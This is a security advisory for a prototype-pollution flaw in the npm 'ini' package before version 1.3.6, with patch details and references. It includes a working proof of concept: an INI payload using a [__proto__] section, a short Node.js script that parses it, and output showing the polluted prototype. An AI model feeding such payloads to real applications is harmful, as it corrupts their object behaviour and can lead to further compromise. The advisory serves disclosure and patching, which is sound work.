GHSA-qqgx-2p2h-9c37

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GHSA-qqgx-2p2h-9c37

Summary: ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse

Details: ### Overview The `ini` npm package before version 1.3.6 has a Prototype Pollution vulnerability. If an attacker submits a malicious INI file to an application that parses it with `ini.parse`, they will pollute the prototype on the application. This can be exploited further depending on the context. ### Patches This has been patched in 1.3.6. ### Steps to reproduce payload.ini ``` [__proto__] polluted = "polluted" ``` poc.js: ``` var fs = require('fs') var ini = require('ini') var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8')) console.log(parsed) console.log(parsed.__proto__) console.log(polluted) ``` ``` > node poc.js {} { polluted: 'polluted' } { polluted: 'polluted' } polluted ```

References: https://nvd.nist.gov/vuln/detail/CVE-2020-7788, https://github.com/npm/ini/commit/56d2805e07ccd94e2ba0984ac9240ff02d44b6f1, https://github.com/npm/ini, https://lists.debian.org/debian-lts-announce/2020/12/msg00032.html, https://snyk.io/vuln/SNYK-JS-INI-1048974, https://www.npmjs.com/advisories/1589